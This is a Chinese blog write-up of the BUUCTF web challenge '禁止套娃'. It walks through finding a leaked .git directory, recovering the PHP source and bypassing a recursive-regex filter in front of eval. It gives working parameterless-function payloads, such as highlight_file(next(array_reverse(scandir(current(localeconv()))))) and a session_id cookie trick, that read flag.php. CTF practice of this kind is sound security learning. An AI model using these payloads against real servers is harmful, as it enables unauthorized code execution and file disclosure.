BUUCTF WEB 禁止套娃1

原创

显哥无敌 于 2021-12-08 10:09:44 发布 530 收藏

分类专栏： BUUCTF 文章标签： web安全

版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。

本文链接：https://blog.csdn.net/qq_41696858/article/details/121784956

版权

BUUCTF 专栏收录该内容

73 篇文章 2 订阅

订阅专栏

打开场景，空荡荡的，啥也没有

正常思路，扫目录，dirsearch有防扫，dirmap

扫出来.git，源码泄露没跑了

GitHacker跑出来是空文件，我也不知道为啥

GitHack看看能不能找出什么有用的东西，跑出来index.php的源码

源码如下

```php
<?php
include "flag.php";
echo "flag在哪里呢？<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦！");
            }
        }
        else{
            die("再好好想想！");
        }
    }
    else{
        die("还想读flag，臭弟弟！");
    }
}
// highlight_file(__FILE__);
?>
```

正则匹配可以自己验证有没有过，先小改一下脚本，再说说他匹配了什么

```php
<?php
    $exp1="print_r(scandir(current(localeconv())));";
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $exp1)) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $exp1)) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $exp1)) {
                echo "i am here1".$exp1;
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦！");
            }
        }
        else{
            die("再好好想想！");
        }
    }
    else{
        die("还想读flag，臭弟弟！");
    };
?>
```

第一层很好理解，过滤的是一堆伪协议，第三层也很好理解，一堆函数名，难的是第二层，
(?R)引用当前表达式，后面加了?递归调用。只能匹配通过无参数的函数。
print_r(scandir(current(localeconv())));
那么就很好理解了，他只能匹配形如a(b())之类的函数，被把它依次替换成空，到最后，exp1只剩下一个;，当然和前面的；相等正则这关过了，下面就是怎么利用这个eval拿flag了
current()表示数组中指针当前所在的位置
localeconv()函数返回一包含本地数字及货币格式信息的数组，数组第一项是.
也就是因为不能有参数，所以我们用current(localeconv())代替了一个.
那么exp1等价于print_r(scandir(.)),是不是就很熟悉了
当然绕过手段还很多，有兴趣的可以看这位大佬的文章
https://blog.csdn.net/cainiao17441898/article/details/117158702
查找到当前目录下存在flag.php，下面就是读取
回显flag在倒数第二个，随便你怎么读取，正着读也行，不过推荐倒过来读

```
?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));
```

这题的考点应该就是无参数绕过正则
当然我看到有一个常用payload：?`exp=readfile(array_rand(array_flip(scandir(current(localeconv())))));`
这个是随机读取数组文件，能不能读出来flag.php纯看运气，像我就是试了好多次才读到flag.php文件
或者这一种也是精准打击
抓包，`/? exp=readfile(session_id(session_start()))`
把cookie里的PHPSESSID改成flag.php
参考视频链接：https://www.bilibili.com/video/BV1o341147Qu/